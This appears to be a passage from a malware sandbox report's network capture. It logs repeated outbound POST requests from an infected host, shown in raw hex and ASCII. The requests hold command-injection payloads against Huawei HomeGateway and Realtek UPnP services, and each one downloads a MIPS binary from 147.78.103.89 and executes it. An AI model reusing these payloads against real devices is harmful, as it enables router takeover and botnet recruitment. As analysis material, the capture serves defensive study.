                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:31.897840977 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:33.721792936 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:37.529669046 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:44.953490973 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.545043945 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:29.752126932 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      75192.168.2.153447445.113.163.7952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:31.263978004 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.857834101 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:34.745728970 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
